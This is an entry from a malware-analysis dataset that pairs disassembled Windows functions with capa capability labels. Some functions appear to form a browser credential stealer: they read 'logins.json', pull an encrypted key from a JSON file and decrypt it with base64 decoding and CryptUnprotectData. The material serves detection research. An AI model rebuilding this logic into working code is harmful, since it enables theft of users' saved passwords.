joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100417e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], edx
xor eax, eax
mov edx, ecx
mov dword [ebp - 4], eax
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], edi
cmp dword [edx + 0x14], eax
jle 0x100418bb
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edi
xor esi, 1
cmp edi, 2
cmovae esi, edi
test ebx, ebx
je 0x10041874
mov eax, dword [edx + 0x10]
mov ecx, esi
add ecx, ecx
mov edx, dword [eax + ecx*8]
mov ecx, dword [ebp + 8]
mov bl, byte [ecx]
test bl, bl
je 0x10041856
sub ecx, edx
mov al, bl
mov dword [ebp - 0x10], ecx
mov edi, ecx
movzx ecx, byte [edx]
mov bl, al
movzx eax, al
mov al, byte [eax + 0x100f84c0]
cmp al, byte [ecx + 0x100f84c0]
jne 0x10041853
mov al, byte [edi + edx + 1]
inc edx
mov bl, al
test al, al
jne 0x10041832
mov edi, dword [ebp - 8]
movzx eax, byte [edx]
movzx ecx, byte [eax + 0x100f84c0]
movzx eax, bl
mov ebx, dword [ebp + 8]
movzx eax, byte [eax + 0x100f84c0]
sub eax, ecx
jne 0x100418a6
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x10]
add esi, esi
push eax
mov eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x14]
mov ecx, dword [eax + esi*8 + 0xc]
add ecx, 8
call fcn.100090a0
add esp, 4
test eax, eax
je 0x1004189f
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
test eax, eax
jne 0x100418b9
jmp 0x100418a9
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x100418a9
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
inc edi
mov dword [ebp - 8], edi
cmp edi, dword [edx + 0x14]
jl 0x10041807
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10041960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, ecx
mov dword [ebp - 0xc], edx
push edi
xor ecx, ecx
xor edi, edi
mov dword [ebp - 4], ecx
mov edx, dword [eax + 0x14]
mov dword [ebp - 0x10], edx
test edx, edx
jle 0x10041a3d
mov edx, dword [eax + 0x10]
push ebx
mov dword [ebp - 0x14], edx
push esi
nop dword [eax]
mov ecx, dword [ebp + 8]
mov eax, edi
xor eax, 1
cmp edi, 2
cmovae eax, edi
add eax, eax
mov esi, dword [edx + eax*8 + 0xc]
mov dword [ebp - 8], esi
test ecx, ecx
je 0x100419fc
mov bl, byte [ecx]
mov edx, dword [edx + eax*8]
test bl, bl
je 0x100419e4
mov esi, ecx
mov al, bl
sub esi, edx
nop word [eax + eax]
movzx ecx, byte [edx]
mov bl, al
movzx eax, al
mov al, byte [eax + 0x100f84c0]
cmp al, byte [ecx + 0x100f84c0]
jne 0x100419e1
mov al, byte [esi + edx + 1]
inc edx
mov bl, al
test al, al
jne 0x100419c0
mov esi, dword [ebp - 8]
movzx eax, byte [edx]
movzx ecx, byte [eax + 0x100f84c0]
movzx eax, bl
movzx eax, byte [eax + 0x100f84c0]
sub eax, ecx
jne 0x10041a2c
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
lea ecx, [esi + 0x18]
call fcn.100090a0
add esp, 4
test eax, eax
je 0x10041a25
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
test ecx, ecx
je 0x10041a2f
pop esi
pop ebx
mov eax, ecx
pop edi
mov esp, ebp
pop ebp
ret
xor ecx, ecx
mov dword [ebp - 4], ecx
jmp 0x10041a2f
mov ecx, dword [ebp - 4]
inc edi
cmp edi, dword [ebp - 0x10]
jge 0x10041a1c
mov edx, dword [ebp - 0x14]
jmp 0x10041990
mov eax, ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10083ab0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 4
mov edi, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x67452301
mov dword [ebp - 0x14], 0xefcdab89
mov dword [ebp - 0x10], 0x98badcfe
mov dword [ebp - 0xc], 0x10325476
call fcn.100b3170
mov esi, eax
lea eax, [ebp - 0x18]
push 0x10
push eax
push esi
lea ebx, [esi + 0x10]
call fcn.100c22c0
lea eax, [ebp - 0x24]
add esp, 0xc
cmp edi, eax
je 0x10083b3f
mov eax, dword [edi]
test eax, eax
je 0x10083b35
mov ecx, dword [edi + 8]
sub ecx, eax
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x10083b2b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10083bd9
mov eax, edx
push ecx
push eax
call fcn.100bede4
add esp, 8
mov dword [edi], esi
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
jmp 0x10083b4e
test esi, esi
je 0x10083b4e
push 0x10
push esi
call fcn.100bede4
add esp, 8
mov eax, dword [edi + 0xc]
test eax, eax
je 0x10083b65
push eax
call fcn.100bea95
add esp, 4
mov dword [edi + 0xc], 0
sub esp, 0x18
lea eax, [ebp + 0xc]
mov ecx, esp
push eax
call fcn.100b2820
mov ecx, edi
call fcn.10083be0
mov ebx, dword [edi + 0x10]
xor esi, esi
shr ebx, 6
test ebx, ebx
je 0x10083b93
push esi
mov ecx, edi
call fcn.10083d90
inc esi
cmp esi, ebx
jl 0x10083b86
mov esi, dword [ebp - 8]
mov ecx, edi
push esi
call fcn.10084090
mov edx, dword [ebp + 0x20]
cmp edx, 0x10
jb 0x10083bce
mov ecx, dword [ebp + 0xc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10083bc4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10083bd9
push edx
push ecx
call fcn.100bede4
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c
call fcn.100cb7f0
int3
Function at 0x10085f60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x110]
mov esi, ecx
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x128], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10085fb0
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.100b2fb0
push 0x100fb2f4
lea ecx, [ebp - 0x128]
call fcn.100b26a0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x10086041
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10086037
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10086052
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100be889
mov esp, ebp
pop ebp
ret
call fcn.100cb7f0
int3
Function at 0x10086a50
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x110]
mov esi, ecx
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x128], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10086aa0
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.100b2fb0
push 0x100fb2f4
lea ecx, [ebp - 0x128]
call fcn.100b26a0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x10086b31
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10086b27
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10086b42
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100be889
mov esp, ebp
pop ebp
ret
call fcn.100cb7f0
int3
Function at 0x10086c70
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x10086ca7
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x10086cbc
push 0
push 1
mov byte [ebp - 0x28], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x28]
push 1
call fcn.100b42f0
mov edx, dword [ebp + 0x34]
mov eax, edx
mov ecx, dword [ebp + 0x30]
sub eax, ecx
cmp eax, 1
jb 0x10086ce3
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x30], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov word [eax + ecx], 0
jmp 0x10086cf8
push 0
push 1
mov byte [ebp - 0x28], 0
lea ecx, [ebp + 0x20]
push dword [ebp - 0x28]
push 1
call fcn.100b42f0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push esi
cmovae eax, dword [ebp + 8]
xorps xmm0, xmm0
cmp dword [ebp + 0x34], 0x10
mov dword [ebp - 0x1c], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
mov eax, 0x614
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
push eax
movlpd qword [ebp - 0x12], xmm0
mov dword [ebp - 0xa], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 2
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x10086d77
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10086d6d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10086dca
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x10086db9
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10086daf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10086dca
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100be889
mov esp, ebp
pop ebp
ret
call fcn.100cb7f0
int3
Function at 0x10086dd0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x1c]
mov eax, edx
mov ecx, dword [ebp + 0x18]
sub eax, ecx
cmp eax, 1
jb 0x10086e07
lea eax, [ecx + 1]
cmp edx, 0x10
mov dword [ebp + 0x18], eax
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
mov word [eax + ecx], 0
jmp 0x10086e1c
push 0
push 1
mov byte [ebp - 0x28], 0
lea ecx, [ebp + 8]
push dword [ebp - 0x28]
push 1
call fcn.100b42f0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push esi
cmovae eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, 0x215
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x18], 0x100f1e78
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x10086e85
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10086e7b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10086e96
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100be889
mov esp, ebp
pop ebp
ret
call fcn.100cb7f0
int3
Function at 0x10086ea0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x101023e0]
push ebx
push esi
inc eax
mov dword [ebp - 0xc], edx
push edi
push eax
mov byte [0x101082d8], 0
call fcn.100bedf2
add esp, 4
mov esi, eax
cmp dword [0x101023e4], 0x10
mov ecx, 0x101023d0
mov edx, esi
cmovae ecx, dword [0x101023d0]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10086ee5
push 0
push 0
push 4
push 0
push 0
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10086fa9
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
test esi, esi
je 0x10086fa9
push esi
call fcn.100c5243
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x10086f41
push esi
push 0
push ebx
call fcn.100c1720
add esp, 0xc
push 0
lea eax, [ebp - 8]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10086fa9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.100c5243
mov edi, eax
add esp, 4
test edi, edi
je 0x10086f76
push esi
push 0
push edi
call fcn.100c1720
add esp, 0xc
xor ecx, ecx
test esi, esi
je 0x10086fa9
lea eax, [ebx + 2]
nop
cmp byte [eax - 2], 0x6b
jne 0x10086fa3
cmp byte [eax - 1], 0x65
jne 0x10086fa3
cmp byte [eax], 0x79
jne 0x10086fa3
cmp byte [eax + 1], 0x22
jne 0x10086fa3
cmp byte [eax + 2], 0x3a
jne 0x10086fa3
cmp byte [eax + 3], 0x22
je 0x10086fbc
inc ecx
inc eax
cmp ecx, esi
jb 0x10086f80
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be889
mov esp, ebp
pop ebp
ret
mov al, byte [ecx + ebx + 6]
cmp al, 0x22
je 0x10086fde
add ecx, 6
mov edx, edi
add ecx, ebx
nop dword [eax + eax]
mov byte [edx], al
lea ecx, [ecx + 1]
mov al, byte [ecx]
lea edx, [edx + 1]
cmp al, 0x22
jne 0x10086fd0
push ebx
call fcn.100c5228
add esp, 4
push edi
push 0x101082d8
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x101082d8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xc]
push edi
mov dword [ecx], eax
call fcn.100c5228
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.100be889
mov esp, ebp
pop ebp
ret
Function at 0x10087030
Capabilities:
Decode data using base64 via dword translation table
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov eax, edx
push ebx
push esi
push edi
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
call fcn.100c5243
mov edi, dword [ebp - 0x1c]
add esp, 4
mov ebx, eax
push edi
push 0
push ebx
call fcn.100c1720
mov eax, edi
add esp, 0xc
xor esi, esi
test al, 3
jne 0x100870e0
xor edx, edx
test eax, eax
je 0x100870e0
mov al, byte [edx + 0x101082d8]
cmp al, 0x3d
je 0x100870e0
cmp al, 0x2b
jl case.default.0x1008709b
cmp al, 0x7a
jg case.default.0x1008709b
movsx eax, al
mov cl, byte [eax + 0x100fa530]
cmp cl, 0xff
je case.default.0x1008709b
mov eax, edx
and eax, 3
jmp dword [eax*4 + 0x10087198]
shl cl, 2
mov byte [esi + ebx], cl
jmp 0x100870d7
mov al, cl
shr al, 4
and al, 3
or byte [esi + ebx], al
inc esi
shl cl, 4
mov byte [esi + ebx], cl
jmp 0x100870d7
mov al, cl
shr al, 2
and al, 0xf
or byte [esi + ebx], al
inc esi
shl cl, 6
mov byte [esi + ebx], cl
jmp 0x100870d7
or byte [esi + ebx], cl
lea eax, [esi + ebx]
inc esi
inc edx
cmp edx, edi
jb 0x10087076
jmp 0x100870e0
xor esi, esi
lea edi, [esi - 5]
push edi
call fcn.100c5243
add esp, 4
mov dword [ebp - 0x1c], eax
push edi
push 0
push eax
call fcn.100c1720
add esp, 0xc
cmp esi, 5
mov esi, dword [ebp - 0x1c]
jbe 0x10087111
lea ecx, [ebx + 5]
push edi
push ecx
push esi
call fcn.100c18e0
add esp, 0xc
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], edi
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x10087183
mov edi, dword [ebp - 0x18]
test edi, edi
je 0x10087152
mov esi, dword [ebp - 0x14]
mov edx, edi
mov ecx, dword [ebp - 0x20]
sub esi, ecx
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x10087144
mov eax, dword [ebp - 0x20]
push ebx
mov byte [edi + eax], 0
call fcn.100c5228
add esp, 4
push dword [ebp - 0x1c]
call fcn.100c5228
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.100be889
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100be889
mov esp, ebp
pop ebp
ret
Function at 0x1008b050
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
lea ecx, [ebp - 0x20]
push esi
push edi
add eax, 0xc
mov dword [ebp - 0x10], 0
push eax
mov dword [ebp - 0xc], 0xf
mov byte [ebp - 0x20], 0
call fcn.100b5970
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov esi, dword [ebp - 0xc]
mov eax, esi
cmovae ecx, dword [ebp + 8]
mov edi, dword [ebp + 0x18]
mov edx, dword [ebp - 0x10]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008b0c3
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
cmovae eax, dword [ebp - 0x20]
lea esi, [eax + edx]
push esi
call fcn.100c22c0
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x1008b0d3
mov byte [ebp - 8], 0
lea ecx, [ebp - 0x20]
push dword [ebp - 8]
push edi
call fcn.100b4450
push str.logins.json
lea ecx, [ebp - 0x20]
call fcn.100b26a0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp + 8]
call fcn.100b2760
mov edx, dword [ebp - 0xc]
cmp edx, 0x10
jb 0x1008b120
mov ecx, dword [ebp - 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b116
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b214
push edx
push ecx
call fcn.100bede4
add esp, 8
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push 0x100fb364
cmovae eax, dword [ebp + 8]
push eax
call fcn.100c897d
add esp, 8
test eax, eax
je 0x1008b1d4
push eax
call fcn.100c8a0b
push 0x186a0
call fcn.100c5243
add esp, 8
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov esi, eax
cmovae ecx, dword [ebp + 8]
push 0
push 0x80
push 4
push 0
push 7
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x1008b192
push 0
lea ecx, [ebp - 8]
push ecx
push 0x186a0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008b1c2
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b1b8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b219
push edx
push ecx
call fcn.100bede4
add esp, 8
mov eax, esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be889
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008b204
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b1fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008b21e
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100be889
mov esp, ebp
pop ebp
ret
call fcn.100cb7f0
call fcn.100cb7f0
call fcn.100cb7f0
int3
Function at 0x100a1100
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x400
lea eax, [ebp - 0x404]
mov esi, ecx
push 0
push eax
call fcn.100c1720
add esp, 0xc
mov dword [ebp - 0x408], 0x400
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x40c]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push 1
push 0
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100a1186
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp - 0x408]
push ecx
lea ecx, [ebp - 0x404]
push ecx
push 0
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push 0
push eax
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x40c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x404]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
lea edx, [ecx + 1]
mov byte [esi], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a11b0
sub ecx, edx
lea eax, [ebp - 0x404]
push ecx
push eax
mov ecx, esi
call fcn.100b2fb0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x100a11f8
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a11ee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a124b
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x100a123a
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1230
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a124b
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.100be889
mov esp, ebp
pop ebp
ret
call fcn.100cb7f0
int3
Function at 0x100a44f0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [0x10104338]
push ebx
push esi
mov esi, ecx
mov ecx, dword [0x1010433c]
mov dword [ebp - 0x30], esi
push edi
cmp edx, ecx
jne 0x100a453f
mov dword [esi], 0
mov eax, esi
mov dword [esi + 4], 0
mov dword [esi + 8], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be889
mov esp, ebp
pop ebp
ret
mov eax, ecx
xor ebx, ebx
sub eax, edx
mov dword [ebp - 0x28], ebx
xor edi, edi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], edi
lea edx, [eax - 1]
xor eax, eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x24], eax
test edx, edx
je 0x100a45a0
cmp edx, 0x7fffffff
ja 0x100a469b
push edx
lea ecx, [ebp - 0x10]
call fcn.100b71d0
mov ebx, dword [ebp - 0x34]
push ebx
push edi
mov edi, dword [ebp - 0x10]
push edi
call fcn.100c1720
mov ecx, dword [0x1010433c]
lea eax, [ebx + edi]
mov ebx, dword [ebp - 8]
add esp, 0xc
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x28], ebx
sub ecx, dword [0x10104338]
mov edx, 1
sub ecx, edx
je 0x100a45ce
mov ebx, dword [ebp - 0x24]
mov esi, dword [0x10104338]
lea edx, [edx + 1]
mov al, byte [esi + edx - 1]
mov byte [ebx + edx - 2], al
sub ecx, 1
jne 0x100a45b2
mov ebx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
sub eax, edi
mov dword [ebp - 0x1c], edi
inc eax
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x100a464a
xor esi, esi
mov ecx, edi
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x18], esi
jbe 0x100a462e
mov eax, dword [ebp - 0x14]
add eax, esi
cmp ecx, ebx
je 0x100a4615
mov al, byte [eax]
mov byte [ecx], al
inc ecx
mov dword [ebp - 0xc], ecx
jmp 0x100a4625
push eax
push ecx
lea ecx, [ebp - 0x10]
call fcn.100b3b50
mov ebx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x100a4602
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
mov dword [eax], edi
mov dword [eax + 4], ecx
mov dword [eax + 8], ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100be889
mov esp, ebp
pop ebp
ret
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
test edi, edi
je 0x100a4688
sub ebx, edi
mov eax, edi
cmp ebx, 0x1000
jb 0x100a467e
mov edi, dword [edi - 4]
add ebx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a46a0
push ebx
push edi
call fcn.100bede4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100be889
mov esp, ebp
pop ebp
ret
call fcn.100b5910
call fcn.100cb7f0
int3